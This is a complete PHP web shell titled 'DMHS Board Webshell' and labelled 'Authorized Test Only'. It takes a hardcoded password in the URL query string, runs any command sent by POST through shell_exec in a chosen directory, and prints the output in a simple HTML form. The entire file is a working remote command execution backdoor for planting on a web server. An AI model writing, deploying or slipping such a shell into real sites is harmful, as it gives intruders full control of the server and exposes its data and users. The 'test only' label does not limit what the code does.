<?php
$pass = 'dmhs1337';
if (!isset($_GET['p']) || $_GET['p'] !== $pass) {
    http_response_code(403);
    die('Access Denied');
}

$cmd = $_POST['cmd'] ?? '';
$cwd = $_POST['cwd'] ?? getcwd();

if ($cmd) {
    chdir($cwd);                    // Try to change to requested directory
    $output = shell_exec($cmd . " 2>&1");
} else {
    $output = "Webshell ready.\nCurrent dir: " . getcwd();
}
?>
<!DOCTYPE html>
<html>
<head><title>DMHS Webshell</title></head>
<body>
<pre><b>DMHS Board Webshell</b> — Authorized Test Only
Server: <?=htmlspecialchars($_SERVER['SERVER_NAME'])?>
Current dir: <?=htmlspecialchars(getcwd())?>

<form method="POST">
    <b>Path:</b> <input type="text" name="cwd" value="<?=htmlspecialchars($cwd)?>" size="60"><br><br>
    <b>Command:</b><br>
    <input type="text" name="cmd" value="<?=htmlspecialchars($cmd)?>" size="90" autofocus>
    <input type="submit" value="Run">
</form>

<b>Output:</b>
<?=htmlspecialchars($output ?: "No output")?>
</pre>
</body>
</html>
